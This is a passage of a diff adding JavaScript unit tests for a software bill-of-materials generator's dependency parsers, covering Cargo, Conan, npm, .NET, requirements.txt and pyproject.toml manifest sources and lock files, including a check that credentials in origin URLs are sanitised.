+ git-crate = { git = "https://github.com/acme/git-crate.git", branch = "main" }
2768
+ `,
2769
+ );
2770
+ try {
2771
+ const depList = await parseCargoTomlData(cargoTomlFile);
2772
+ const gitDep = depList.find((pkg) => pkg.name === "git-crate");
2773
+ assert.ok(gitDep);
2774
+ assert.strictEqual(
2775
+ gitDep.version,
2776
+ "git+https://github.com/acme/git-crate.git",
2777
+ );
2778
+ assert.strictEqual(
2779
+ gitDep.properties.find((property) => property.name === "cdx:cargo:git")
2780
+ ?.value,
2781
+ "https://github.com/acme/git-crate.git",
2782
+ );
2783
+ assert.strictEqual(
2784
+ gitDep.properties.find(
2785
+ (property) => property.name === "cdx:cargo:gitBranch",
2786
+ )?.value,
2787
+ "main",
2788
+ );
2789
+ assert.strictEqual(
2790
+ gitDep.properties.find(
2791
+ (property) => property.name === "cdx:cargo:dependencyKind",
2792
+ )?.value,
2793
+ "runtime",
2794
+ );
2795
+ } finally {
2796
+ rmSync(tmpDir, { force: true, recursive: true });
2797
+ }
2798
+ });
2799
+
2308
2800
  it("parse cargo virtual workspace with inherited package and dependency metadata", async () => {
2309
2801
  const workspaceDir = "./test/data/cargo-workspace-repotest";
2310
2802
  const workspaceToml = path.join(workspaceDir, "Cargo.toml");
@@ -2825,77 +3317,292 @@ it("parse conan data", () => {
2825
3317
  });
2826
3318
  });
2827
3319
 
2828
- it("conan package reference mapper to pURL", () => {
2829
- const checkParseResult = (inputPkgRef, expectedPurl) => {
2830
- const [purl, name, version] =
2831
- mapConanPkgRefToPurlStringAndNameAndVersion(inputPkgRef);
2832
- assert.deepStrictEqual(purl, expectedPurl);
2833
-
2834
- const expectedPurlPrefix = `pkg:conan/${name}@${version}`;
2835
- assert.deepStrictEqual(
2836
- purl.substring(0, expectedPurlPrefix.length),
2837
- expectedPurlPrefix,
2838
- );
2839
- };
2840
-
2841
- checkParseResult("testpkg", "pkg:conan/testpkg@latest");
2842
-
2843
- checkParseResult("testpkg/1.2.3", "pkg:conan/testpkg@1.2.3");
2844
-
2845
- checkParseResult(
2846
- "testpkg/1.2.3#recipe_revision",
2847
- "pkg:conan/testpkg@1.2.3?rrev=recipe_revision",
2848
- );
2849
-
2850
- checkParseResult(
2851
- "testpkg/1.2.3@someuser/somechannel",
2852
- "pkg:conan/testpkg@1.2.3?channel=somechannel&user=someuser",
2853
- );
2854
-
2855
- checkParseResult(
2856
- "testpkg/1.2.3@someuser/somechannel#recipe_revision",
2857
- "pkg:conan/testpkg@1.2.3?channel=somechannel&rrev=recipe_revision&user=someuser",
3320
+ it("parse collider lock data", () => {
3321
+ let colliderLockData = parseColliderLockData(null);
3322
+ assert.deepStrictEqual(colliderLockData.pkgList.length, 0);
3323
+ assert.deepStrictEqual(Object.keys(colliderLockData.dependencies).length, 0);
3324
+ assert.deepStrictEqual(
3325
+ colliderLockData.parentComponentDependencies.length,
3326
+ 0,
2858
3327
  );
2859
3328
 
2860
- checkParseResult(
2861
- "testpkg/1.2.3@someuser/somechannel#recipe_revision:package_id#package_revision",
2862
- "pkg:conan/testpkg@1.2.3" +
2863
- "?channel=somechannel" +
2864
- "&prev=package_revision" +
2865
- "&rrev=recipe_revision" +
2866
- "&user=someuser",
3329
+ colliderLockData = parseColliderLockData(
3330
+ readFileSync("./test/data/collider.lock", { encoding: "utf-8" }),
3331
+ "./test/data/collider.lock",
2867
3332
  );
2868
-
2869
- const expectParseError = (pkgRef) => {
2870
- const result = mapConanPkgRefToPurlStringAndNameAndVersion(pkgRef);
2871
- assert.deepStrictEqual(result[0], null);
2872
- assert.deepStrictEqual(result[1], null);
2873
- assert.deepStrictEqual(result[2], null);
2874
- };
2875
-
2876
- expectParseError("testpkg/"); // empty version
2877
- expectParseError("testpkg/1.2.3@"); // empty user
2878
- expectParseError("testpkg/1.2.3@someuser"); // pkg ref is not allowed to stop here
2879
- expectParseError("testpkg/1.2.3@someuser/"); // empty channel
2880
- expectParseError("testpkg/1.2.3@someuser/somechannel#"); // empty recipe revision
2881
- expectParseError("testpkg/1.2.3@someuser/somechannel#recipe_revision:"); // empty package id
2882
- expectParseError(
2883
- "testpkg/1.2.3@someuser/somechannel#recipe_revision:package_id",
2884
- ); // pkg ref is not allowed to stop here
2885
- expectParseError(
2886
- "testpkg/1.2.3@someuser/somechannel#recipe_revision:package_id#",
2887
- ); // empty package revision
2888
- expectParseError("testpkg/1.2.3/unexpected"); // unexpected pkg ref segment separator
2889
- expectParseError("testpkg/1.2.3@someuser/somechannel/unexpected"); // unexpected pkg ref segment separator
2890
- expectParseError(
2891
- "testpkg/1.2.3@someuser/somechannel#recipe_revision/unexpected",
2892
- ); // unexpected pkg ref segment separator
2893
- expectParseError(
2894
- "testpkg/1.2.3@someuser/somechannel#recipe_revision:package_id/unexpected",
2895
- ); // unexpected pkg ref segment separator
2896
- expectParseError(
2897
- "testpkg/1.2.3@someuser/somechannel#recipe_revision:package_id#package_revision/unexpected",
2898
- ); // unexpected pkg ref segment separator
3333
+ assert.deepStrictEqual(colliderLockData.pkgList.length, 3);
3334
+ assert.deepStrictEqual(colliderLockData.pkgList[0], {
3335
+ name: "fmt",
3336
+ version: "11.0.2",
3337
+ "bom-ref": "pkg:generic/fmt@11.0.2",
3338
+ externalReferences: [
3339
+ {
3340
+ type: "distribution",
3341
+ url: "https://packages.example.com/collider/v2/",
3342
+ },
3343
+ ],
3344
+ hashes: [
3345
+ {
3346
+ alg: "SHA-256",
3347
+ content:
3348
+ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
3349
+ },
3350
+ ],
3351
+ properties: [
3352
+ { name: "SrcFile", value: "./test/data/collider.lock" },
3353
+ { name: "cdx:collider:dependencyKind", value: "direct" },
3354
+ {
3355
+ name: "cdx:collider:wrapHash",
3356
+ value:
3357
+ "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
3358
+ },
3359
+ { name: "cdx:collider:hasWrapHash", value: "true" },
3360
+ {
3361
+ name: "cdx:collider:origin",
3362
+ value: "https://packages.example.com/collider/v2/",
3363
+ },
3364
+ { name: "cdx:collider:originScheme", value: "https" },
3365
+ { name: "cdx:collider:originHost", value: "packages.example.com" },
3366
+ ],
3367
+ purl: "pkg:generic/fmt@11.0.2",
3368
+ scope: "required",
3369
+ });
3370
+ assert.deepStrictEqual(colliderLockData.pkgList[1], {
3371
+ name: "spdlog",
3372
+ version: "1.15.0",
3373
+ "bom-ref": "pkg:generic/spdlog@1.15.0",
3374
+ externalReferences: [
3375
+ {
3376
+ type: "distribution",
3377
+ url: "https://packages.example.com/collider/v2/",
3378
+ },
3379
+ ],
3380
+ hashes: [
3381
+ {
3382
+ alg: "SHA-256",
3383
+ content:
3384
+ "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
3385
+ },
3386
+ ],
3387
+ properties: [
3388
+ { name: "SrcFile", value: "./test/data/collider.lock" },
3389
+ { name: "cdx:collider:dependencyKind", value: "direct" },
3390
+ {
3391
+ name: "cdx:collider:wrapHash",
3392
+ value:
3393
+ "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
3394
+ },
3395
+ { name: "cdx:collider:hasWrapHash", value: "true" },
3396
+ {
3397
+ name: "cdx:collider:origin",
3398
+ value: "https://packages.example.com/collider/v2/",
3399
+ },
3400
+ { name: "cdx:collider:originScheme", value: "https" },
3401
+ { name: "cdx:collider:originHost", value: "packages.example.com" },
3402
+ ],
3403
+ purl: "pkg:generic/spdlog@1.15.0",
3404
+ scope: "required",
3405
+ });
3406
+ assert.deepStrictEqual(colliderLockData.pkgList[2], {
3407
+ name: "fast_float",
3408
+ version: "8.0.2",
3409
+ "bom-ref": "pkg:generic/fast_float@8.0.2",
3410
+ externalReferences: [
3411
+ {
3412
+ type: "distribution",
3413
+ url: "https://wrapdb.mesonbuild.com/v2/",
3414
+ },
3415
+ ],
3416
+ hashes: [
3417
+ {
3418
+ alg: "SHA-256",
3419
+ content:
3420
+ "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc",
3421
+ },
3422
+ ],
3423
+ properties: [
3424
+ { name: "SrcFile", value: "./test/data/collider.lock" },
3425
+ { name: "cdx:collider:dependencyKind", value: "transitive" },
3426
+ {
3427
+ name: "cdx:collider:wrapHash",
3428
+ value:
3429
+ "sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc",
3430
+ },
3431
+ { name: "cdx:collider:hasWrapHash", value: "true" },
3432
+ {
3433
+ name: "cdx:collider:origin",
3434
+ value: "https://wrapdb.mesonbuild.com/v2/",
3435
+ },
3436
+ { name: "cdx:collider:originScheme", value: "https" },
3437
+ { name: "cdx:collider:originHost", value: "wrapdb.mesonbuild.com" },
3438
+ ],
3439
+ purl: "pkg:generic/fast_float@8.0.2",
3440
+ });
3441
+ assert.deepStrictEqual(colliderLockData.dependencies, {
3442
+ "pkg:generic/fmt@11.0.2": [],
3443
+ "pkg:generic/spdlog@1.15.0": [],
3444
+ "pkg:generic/fast_float@8.0.2": [],
3445
+ });
3446
+ assert.deepStrictEqual(colliderLockData.parentComponentDependencies, [
3447
+ "pkg:generic/fmt@11.0.2",
3448
+ "pkg:generic/spdlog@1.15.0",
3449
+ ]);
3450
+ });
3451
+
3452
+ it("parse collider lock data sanitizes origin metadata and tracks invalid wrap hashes", () => {
3453
+ const colliderLockData = parseColliderLockData(
3454
+ JSON.stringify({
3455
+ version: 1,
3456
+ dependencies: {
3457
+ "unsafe-origin": {
3458
+ version: "1.0.0",
3459
+ wrap_hash:
3460
+ "sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd",
3461
+ origin: "https://user:pass@example.com/private/v2/?token=secret#frag",
3462
+ },
3463
+ },
3464
+ packages: {
3465
+ malformed: {
3466
+ version: "2.0.0",
3467
+ wrap_hash: "not-a-sha256",
3468
+ origin: "http://mirror.example.com/collider/v2/?sig=123",
3469
+ },
3470
+ "bad-origin": {
3471
+ version: "3.0.0",
3472
+ wrap_hash:
3473
+ "sha256:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee",
3474
+ origin: "://not a url",
3475
+ },
3476
+ },
3477
+ }),
3478
+ "/repo/collider.lock",
3479
+ );
3480
+ assert.strictEqual(colliderLockData.pkgList.length, 3);
3481
+ const unsafeOrigin = colliderLockData.pkgList.find(
3482
+ (pkg) => pkg.name === "unsafe-origin",
3483
+ );
3484
+ const malformed = colliderLockData.pkgList.find(
3485
+ (pkg) => pkg.name === "malformed",
3486
+ );
3487
+ const badOrigin = colliderLockData.pkgList.find(
3488
+ (pkg) => pkg.name === "bad-origin",
3489
+ );
3490
+ assert.deepStrictEqual(
3491
+ unsafeOrigin.properties.find(
3492
+ (property) => property.name === "cdx:collider:origin",
3493
+ )?.value,
3494
+ "https://example.com/private/v2/",
3495
+ );
3496
+ assert.deepStrictEqual(
3497
+ unsafeOrigin.properties.find(
3498
+ (property) => property.name === "cdx:collider:originSanitized",
3499
+ )?.value,
3500
+ "true",
3501
+ );
3502
+ assert.deepStrictEqual(unsafeOrigin.externalReferences, [
3503
+ {
3504
+ type: "distribution",
3505
+ url: "https://example.com/private/v2/",
3506
+ },
3507
+ ]);
3508
+ assert.deepStrictEqual(
3509
+ malformed.properties.find(
3510
+ (property) => property.name === "cdx:collider:hasWrapHash",
3511
+ )?.value,
3512
+ "false",
3513
+ );
3514
+ assert.deepStrictEqual(
3515
+ malformed.properties.find(
3516
+ (property) => property.name === "cdx:collider:wrapHashInvalid",
3517
+ )?.value,
3518
+ "true",
3519
+ );
3520
+ assert.deepStrictEqual(
3521
+ malformed.properties.find(
3522
+ (property) => property.name === "cdx:collider:origin",
3523
+ )?.value,
3524
+ "http://mirror.example.com/collider/v2/",
3525
+ );
3526
+ assert.ok(!malformed.hashes);
3527
+ assert.ok(
3528
+ !badOrigin.properties.some(
3529
+ (property) => property.name === "cdx:collider:origin",
3530
+ ),
3531
+ );
3532
+ assert.ok(!badOrigin.externalReferences);
3533
+ });
3534
+
3535
+ it("conan package reference mapper to pURL", () => {
3536
+ const checkParseResult = (inputPkgRef, expectedPurl) => {
3537
+ const [purl, name, version] =
3538
+ mapConanPkgRefToPurlStringAndNameAndVersion(inputPkgRef);
3539
+ assert.deepStrictEqual(purl, expectedPurl);
3540
+
3541
+ const expectedPurlPrefix = `pkg:conan/${name}@${version}`;
3542
+ assert.deepStrictEqual(
3543
+ purl.substring(0, expectedPurlPrefix.length),
3544
+ expectedPurlPrefix,
3545
+ );
3546
+ };
3547
+
3548
+ checkParseResult("testpkg", "pkg:conan/testpkg@latest");
3549
+
3550
+ checkParseResult("testpkg/1.2.3", "pkg:conan/testpkg@1.2.3");
3551
+
3552
+ checkParseResult(
3553
+ "testpkg/1.2.3#recipe_revision",
3554
+ "pkg:conan/testpkg@1.2.3?rrev=recipe_revision",
3555
+ );
3556
+
3557
+ checkParseResult(
3558
+ "testpkg/1.2.3@someuser/somechannel",
3559
+ "pkg:conan/testpkg@1.2.3?channel=somechannel&user=someuser",
3560
+ );
3561
+
3562
+ checkParseResult(
3563
+ "testpkg/1.2.3@someuser/somechannel#recipe_revision",
3564
+ "pkg:conan/testpkg@1.2.3?channel=somechannel&rrev=recipe_revision&user=someuser",
3565
+ );
3566
+
3567
+ checkParseResult(
3568
+ "testpkg/1.2.3@someuser/somechannel#recipe_revision:package_id#package_revision",
3569
+ "pkg:conan/testpkg@1.2.3" +
3570
+ "?channel=somechannel" +
3571
+ "&prev=package_revision" +
3572
+ "&rrev=recipe_revision" +
3573
+ "&user=someuser",
3574
+ );
3575
+
3576
+ const expectParseError = (pkgRef) => {
3577
+ const result = mapConanPkgRefToPurlStringAndNameAndVersion(pkgRef);
3578
+ assert.deepStrictEqual(result[0], null);
3579
+ assert.deepStrictEqual(result[1], null);
3580
+ assert.deepStrictEqual(result[2], null);
3581
+ };
3582
+
3583
+ expectParseError("testpkg/"); // empty version
3584
+ expectParseError("testpkg/1.2.3@"); // empty user
3585
+ expectParseError("testpkg/1.2.3@someuser"); // pkg ref is not allowed to stop here
3586
+ expectParseError("testpkg/1.2.3@someuser/"); // empty channel
3587
+ expectParseError("testpkg/1.2.3@someuser/somechannel#"); // empty recipe revision
3588
+ expectParseError("testpkg/1.2.3@someuser/somechannel#recipe_revision:"); // empty package id
3589
+ expectParseError(
3590
+ "testpkg/1.2.3@someuser/somechannel#recipe_revision:package_id",
3591
+ ); // pkg ref is not allowed to stop here
3592
+ expectParseError(
3593
+ "testpkg/1.2.3@someuser/somechannel#recipe_revision:package_id#",
3594
+ ); // empty package revision
3595
+ expectParseError("testpkg/1.2.3/unexpected"); // unexpected pkg ref segment separator
3596
+ expectParseError("testpkg/1.2.3@someuser/somechannel/unexpected"); // unexpected pkg ref segment separator
3597
+ expectParseError(
3598
+ "testpkg/1.2.3@someuser/somechannel#recipe_revision/unexpected",
3599
+ ); // unexpected pkg ref segment separator
3600
+ expectParseError(
3601
+ "testpkg/1.2.3@someuser/somechannel#recipe_revision:package_id/unexpected",
3602
+ ); // unexpected pkg ref segment separator
3603
+ expectParseError(
3604
+ "testpkg/1.2.3@someuser/somechannel#recipe_revision:package_id#package_revision/unexpected",
3605
+ ); // unexpected pkg ref segment separator
2899
3606
  });
2900
3607
 
2901
3608
  it("parse conan data where packages use custom user/channel", () => {
@@ -3582,6 +4289,44 @@ it("parse project.assets.json", () => {
3582
4289
  */
3583
4290
  });
3584
4291
 
4292
+ it("addEvidenceForDotnet() initializes evidence before adding occurrences", () => {
4293
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-dotnet-evidence-"));
4294
+ const slicesFile = path.join(tempDir, "dosai.json");
4295
+ try {
4296
+ writeFileSync(
4297
+ slicesFile,
4298
+ JSON.stringify({
4299
+ Dependencies: [
4300
+ {
4301
+ Module: "Example.dll",
4302
+ Path: "src/Program.cs",
4303
+ LineNumber: 42,
4304
+ },
4305
+ ],
4306
+ }),
4307
+ );
4308
+ const pkgList = addEvidenceForDotnet(
4309
+ [
4310
+ {
4311
+ name: "Example",
4312
+ purl: "pkg:nuget/Example@1.0.0",
4313
+ properties: [{ name: "PackageFiles", value: "Example.dll" }],
4314
+ },
4315
+ ],
4316
+ slicesFile,
4317
+ );
4318
+ assert.deepStrictEqual(pkgList[0].evidence?.occurrences, [
4319
+ {
4320
+ location: "src/Program.cs",
4321
+ line: 42,
4322
+ },
4323
+ ]);
4324
+ assert.strictEqual(pkgList[0].scope, "required");
4325
+ } finally {
4326
+ rmSync(tempDir, { recursive: true, force: true });
4327
+ }
4328
+ });
4329
+
3585
4330
  it("parse packages.lock.json", () => {
3586
4331
  assert.deepStrictEqual(parseCsPkgLockData(null), {
3587
4332
  dependenciesList: [],
@@ -4823,6 +5568,181 @@ it("parsePkgLock marks devOptional entries as development", async () => {
4823
5568
  );
4824
5569
  });
4825
5570
 
5571
+ it("parsePkgLock captures manifest-declared npm direct sources", async () => {
5572
+ const rootNode = {
5573
+ path: "/virtual/project",
5574
+ package: {
5575
+ author: "",
5576
+ license: "MIT",
5577
+ },
5578
+ packageName: "virtual-project",
5579
+ version: "1.0.0",
5580
+ edgesOut: new Map(),
5581
+ fsChildren: new Set(),
5582
+ children: new Map(),
5583
+ };
5584
+ const gitNode = {
5585
+ path: "/virtual/project/node_modules/git-dep",
5586
+ package: {
5587
+ author: "",
5588
+ license: "MIT",
5589
+ },
5590
+ packageName: "git-dep",
5591
+ version: "2.0.0",
5592
+ hasInstallScript: true,
5593
+ integrity: "sha512-gitdep",
5594
+ edgesIn: new Set([
5595
+ {
5596
+ name: "git-dep",
5597
+ spec: "git+https://github.com/acme/git-dep.git",
5598
+ },
5599
+ ]),
5600
+ edgesOut: new Map(),
5601
+ fsChildren: new Set(),
5602
+ children: new Map(),
5603
+ };
5604
+ rootNode.children.set("node_modules/git-dep", gitNode);
5605
+ rootNode.edgesOut.set("git-dep", {
5606
+ name: "git-dep",
5607
+ spec: "git+https://github.com/acme/git-dep.git",
5608
+ to: gitNode,
5609
+ });
5610
+ const { parsePkgLock: parsePkgLockWithMockedArborist } = await esmock(
5611
+ "./utils.js",
5612
+ {
5613
+ "../third-party/arborist/lib/index.js": {
5614
+ default: class MockArborist {
5615
+ async loadVirtual() {
5616
+ return rootNode;
5617
+ }
5618
+ },
5619
+ },
5620
+ },
5621
+ );
5622
+ const parsedList = await parsePkgLockWithMockedArborist(
5623
+ "./test/data/package-json/v3/package-lock.json",
5624
+ {},
5625
+ );
5626
+ const gitDepPkg = parsedList.pkgList.find(
5627
+ (pkg) => pkg["bom-ref"] === "pkg:npm/git-dep@2.0.0",
5628
+ );
5629
+ assert.ok(gitDepPkg);
5630
+ assert.ok(
5631
+ gitDepPkg.properties.some(
5632
+ (property) =>
5633
+ property.name === "cdx:npm:manifestSourceType" &&
5634
+ property.value === "git",
5635
+ ),
5636
+ );
5637
+ assert.ok(
5638
+ gitDepPkg.properties.some(
5639
+ (property) =>
5640
+ property.name === "cdx:npm:manifestSource" &&
5641
+ property.value === "git+https://github.com/acme/git-dep.git",
5642
+ ),
5643
+ );
5644
+ });
5645
+
5646
+ it("parsePkgLock captures supported npm manifest source syntaxes", async () => {
5647
+ const rootNode = {
5648
+ path: "/virtual/project",
5649
+ package: {
5650
+ author: "",
5651
+ license: "MIT",
5652
+ },
5653
+ packageName: "virtual-project",
5654
+ version: "1.0.0",
5655
+ edgesOut: new Map(),
5656
+ fsChildren: new Set(),
5657
+ children: new Map(),
5658
+ };
5659
+ const sourceCases = [
5660
+ ["git-plus", "git+https://github.com/acme/git-plus.git", "git"],
5661
+ ["git-protocol", "git://github.com/acme/git-protocol.git", "git"],
5662
+ ["github-shortcut", "github:acme/github-shortcut", "git"],
5663
+ ["gitlab-shortcut", "gitlab:acme/gitlab-shortcut", "git"],
5664
+ ["bitbucket-shortcut", "bitbucket:acme/bitbucket-shortcut", "git"],
5665
+ ["gist-shortcut", "gist:1234567890abcdef", "git"],
5666
+ ["http-archive", "http://example.com/http-archive.tgz", "url"],
5667
+ ["https-archive", "https://example.com/https-archive.tgz", "url"],
5668
+ ["file-source", "file:../libs/file-source", "path"],
5669
+ ["link-source", "link:../libs/link-source", "path"],
5670
+ ["workspace-source", "workspace:*", "path"],
5671
+ ["relative-source", "./libs/relative-source", "path"],
5672
+ ["parent-source", "../libs/parent-source", "path"],
5673
+ ["absolute-source", "/opt/libs/absolute-source", "path"],
5674
+ ["windows-source", "C:\\libs\\windows-source", "path"],
5675
+ ];
5676
+
5677
+ for (const [packageName, spec] of sourceCases) {
5678
+ const childPath = `/virtual/project/node_modules/${packageName}`;
5679
+ const childNode = {
5680
+ path: childPath,
5681
+ package: {
5682
+ author: "",
5683
+ license: "MIT",
5684
+ },
5685
+ packageName,
5686
+ version: "1.0.0",
5687
+ integrity: `sha512-${packageName}`,
5688
+ edgesIn: new Set([
5689
+ {
5690
+ name: packageName,
5691
+ spec,
5692
+ },
5693
+ ]),
5694
+ edgesOut: new Map(),
5695
+ fsChildren: new Set(),
5696
+ children: new Map(),
5697
+ };
5698
+ rootNode.children.set(`node_modules/${packageName}`, childNode);
5699
+ rootNode.edgesOut.set(packageName, {
5700
+ name: packageName,
5701
+ spec,
5702
+ to: childNode,
5703
+ });
5704
+ }
5705
+
5706
+ const { parsePkgLock: parsePkgLockWithMockedArborist } = await esmock(
5707
+ "./utils.js",
5708
+ {
5709
+ "../third-party/arborist/lib/index.js": {
5710
+ default: class MockArborist {
5711
+ async loadVirtual() {
5712
+ return rootNode;
5713
+ }
5714
+ },
5715
+ },
5716
+ },
5717
+ );
5718
+ const parsedList = await parsePkgLockWithMockedArborist(
5719
+ "./test/data/package-json/v3/package-lock.json",
5720
+ {},
5721
+ );
5722
+
5723
+ for (const [packageName, spec, expectedType] of sourceCases) {
5724
+ const pkg = parsedList.pkgList.find(
5725
+ (parsedPkg) => parsedPkg.name === packageName,
5726
+ );
5727
+ assert.ok(pkg, `expected ${packageName} to be parsed`);
5728
+ assert.ok(
5729
+ pkg.properties.some(
5730
+ (property) =>
5731
+ property.name === "cdx:npm:manifestSourceType" &&
5732
+ property.value === expectedType,
5733
+ ),
5734
+ `expected ${packageName} manifest source type ${expectedType}`,
5735
+ );
5736
+ assert.ok(
5737
+ pkg.properties.some(
5738
+ (property) =>
5739
+ property.name === "cdx:npm:manifestSource" && property.value === spec,
5740
+ ),
5741
+ `expected ${packageName} manifest source ${spec}`,
5742
+ );
5743
+ }
5744
+ });
5745
+
4826
5746
  it("parsePkgLock theia", async () => {
4827
5747
  const parsedList = await parsePkgLock(
4828
5748
  "./test/data/package-json/theia/package-lock.json",
@@ -7465,6 +8385,112 @@ it("parse requirements.txt", async () => {
7465
8385
  }
7466
8386
  });
7467
8387
 
8388
+ it("parse requirements.txt enriches distribution references when package metadata fetch is enabled", async () => {
8389
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-req-pypi-"));
8390
+ const reqFile = path.join(tempDir, "requirements.txt");
8391
+ const agentGetStub = sinon.stub().resolves({
8392
+ body: {
8393
+ info: {
8394
+ author: "",
8395
+ author_email: "",
8396
+ classifiers: [],
8397
+ license: "",
8398
+ license_expression: "",
8399
+ name: "requests",
8400
+ summary: "HTTP client",
8401
+ version: "2.31.0",
8402
+ },
8403
+ releases: {
8404
+ "2.31.0": [
8405
+ {
8406
+ digests: { sha256: "abc123" },
8407
+ filename: "requests-2.31.0-py3-none-any.whl",
8408
+ packagetype: "bdist_wheel",
8409
+ url: "https://files.pythonhosted.org/packages/example/requests-2.31.0-py3-none-any.whl",
8410
+ },
8411
+ ],
8412
+ },
8413
+ },
8414
+ });
8415
+ writeFileSync(reqFile, "requests==2.31.0\n", "utf-8");
8416
+ const { parseReqFile: mockedParseReqFile } = await esmock("./utils.js", {
8417
+ got: {
8418
+ default: {
8419
+ extend: sinon.stub().returns({ get: agentGetStub }),
8420
+ },
8421
+ },
8422
+ });
8423
+ try {
8424
+ const deps = await mockedParseReqFile(reqFile, true);
8425
+ assert.strictEqual(deps.length, 1);
8426
+ assert.ok(
8427
+ deps[0].externalReferences?.some(
8428
+ (reference) =>
8429
+ reference.type === "distribution" && reference.url.endsWith(".whl"),
8430
+ ),
8431
+ );
8432
+ } finally {
8433
+ rmSync(tempDir, { recursive: true, force: true });
8434
+ }
8435
+ });
8436
+
8437
+ it("parse requirements.txt captures direct manifest sources", async () => {
8438
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-req-source-"));
8439
+ const reqFile = path.join(tempDir, "requirements.txt");
8440
+ writeFileSync(
8441
+ reqFile,
8442
+ [
8443
+ "requests @ https://example.com/packages/requests-2.31.0.whl # MIT",
8444
+ "-e git+https://github.com/acme/private-lib.git#egg=private-lib",
8445
+ "",
8446
+ ].join("\n"),
8447
+ "utf-8",
8448
+ );
8449
+ try {
8450
+ const deps = await parseReqFile(reqFile, false);
8451
+ const requestsPkg = deps.find((pkg) => pkg.name === "requests");
8452
+ assert.ok(requestsPkg);
8453
+ assert.ok(
8454
+ requestsPkg.properties.some(
8455
+ (property) =>
8456
+ property.name === "cdx:pypi:manifestSourceType" &&
8457
+ property.value === "url",
8458
+ ),
8459
+ );
8460
+ assert.ok(
8461
+ requestsPkg.properties.some(
8462
+ (property) =>
8463
+ property.name === "cdx:pypi:manifestSource" &&
8464
+ property.value === "https://example.com/packages/requests-2.31.0.whl",
8465
+ ),
8466
+ );
8467
+ assert.deepStrictEqual(requestsPkg.licenses, [
8468
+ {
8469
+ license: {
8470
+ id: "MIT",
8471
+ },
8472
+ },
8473
+ ]);
8474
+ const privateLibPkg = deps.find((pkg) => pkg.name === "private-lib");
8475
+ assert.ok(privateLibPkg);
8476
+ assert.ok(
8477
+ privateLibPkg.properties.some(
8478
+ (property) =>
8479
+ property.name === "cdx:pypi:manifestSourceType" &&
8480
+ property.value === "git",
8481
+ ),
8482
+ );
8483
+ assert.ok(
8484
+ privateLibPkg.properties.some(
8485
+ (property) =>
8486
+ property.name === "cdx:pypi:editable" && property.value === "true",
8487
+ ),
8488
+ );
8489
+ } finally {
8490
+ rmSync(tempDir, { recursive: true, force: true });
8491
+ }
8492
+ });
8493
+
7468
8494
  it("parse pyproject.toml", () => {
7469
8495
  let retMap = parsePyProjectTomlFile("./test/data/pyproject.toml");
7470
8496
  assert.deepStrictEqual(retMap.parentComponent, {
@@ -7669,6 +8695,120 @@ it("parse pyproject.toml with custom poetry source", () => {
7669
8695
  assert.deepStrictEqual(Object.keys(retMap.directDepsKeys).length, 6);
7670
8696
  });
7671
8697
 
8698
+ it("parse pyproject.toml captures dependency manifest sources", async () => {
8699
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-pyproject-source-"));
8700
+ const pyProjectFile = path.join(tempDir, "pyproject.toml");
8701
+ writeFileSync(
8702
+ pyProjectFile,
8703
+ `
8704
+ [project]
8705
+ name = "demo-app"
8706
+ version = "0.1.0"
8707
+ dependencies = ["anyio[http2] @ https://example.com/packages/anyio.whl"]
8708
+
8709
+ [tool.poetry.dependencies]
8710
+ python = ">=3.11"
8711
+ poetry-git = { git = "https://github.com/acme/poetry-git.git" }
8712
+
8713
+ [tool.uv.sources]
8714
+ uv-path = { path = "../libs/uv-path" }
8715
+ `.trim(),
8716
+ "utf-8",
8717
+ );
8718
+ try {
8719
+ const pyProjectData = parsePyProjectTomlFile(pyProjectFile);
8720
+ assert.deepStrictEqual(pyProjectData.dependencySourceMap.anyio, {
8721
+ type: "url",
8722
+ value: "https://example.com/packages/anyio.whl",
8723
+ });
8724
+ assert.strictEqual(pyProjectData.directDepsKeys.anyio, true);
8725
+ assert.deepStrictEqual(pyProjectData.dependencySourceMap["poetry-git"], {
8726
+ type: "git",
8727
+ value: "https://github.com/acme/poetry-git.git",
8728
+ });
8729
+ assert.deepStrictEqual(pyProjectData.dependencySourceMap["uv-path"], {
8730
+ type: "path",
8731
+ value: "../libs/uv-path",
8732
+ });
8733
+
8734
+ const retMap = await parsePyLockData(
8735
+ readFileSync("./test/data/uv.lock", { encoding: "utf-8" }),
8736
+ "./test/data/uv.lock",
8737
+ pyProjectFile,
8738
+ );
8739
+ const anyioPkg = retMap.pkgList.find((pkg) => pkg.name === "anyio");
8740
+ assert.ok(anyioPkg);
8741
+ assert.ok(
8742
+ anyioPkg.properties.some(
8743
+ (property) =>
8744
+ property.name === "cdx:pypi:manifestSourceType" &&
8745
+ property.value === "url",
8746
+ ),
8747
+ );
8748
+ assert.ok(
8749
+ anyioPkg.properties.some(
8750
+ (property) =>
8751
+ property.name === "cdx:pypi:manifestSource" &&
8752
+ property.value === "https://example.com/packages/anyio.whl",
8753
+ ),
8754
+ );
8755
+ } finally {
8756
+ rmSync(tempDir, { recursive: true, force: true });
8757
+ }
8758
+ });
8759
+
8760
+ it("normalizes pyproject direct dependency keys when matching pylock packages", async () => {
8761
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-pylock-normalize-"));
8762
+ const pyProjectFile = path.join(tempDir, "pyproject.toml");
8763
+ const pyLockFile = path.join(tempDir, "pylock.toml");
8764
+ writeFileSync(
8765
+ pyProjectFile,
8766
+ `
8767
+ [project]
8768
+ name = "normalize-demo"
8769
+ version = "1.0.0"
8770
+ dependencies = [
8771
+ "demo_pkg @ https://example.com/packages/demo-pkg-1.0.0.whl",
8772
+ ]
8773
+ `.trim(),
8774
+ "utf-8",
8775
+ );
8776
+ writeFileSync(
8777
+ pyLockFile,
8778
+ `
8779
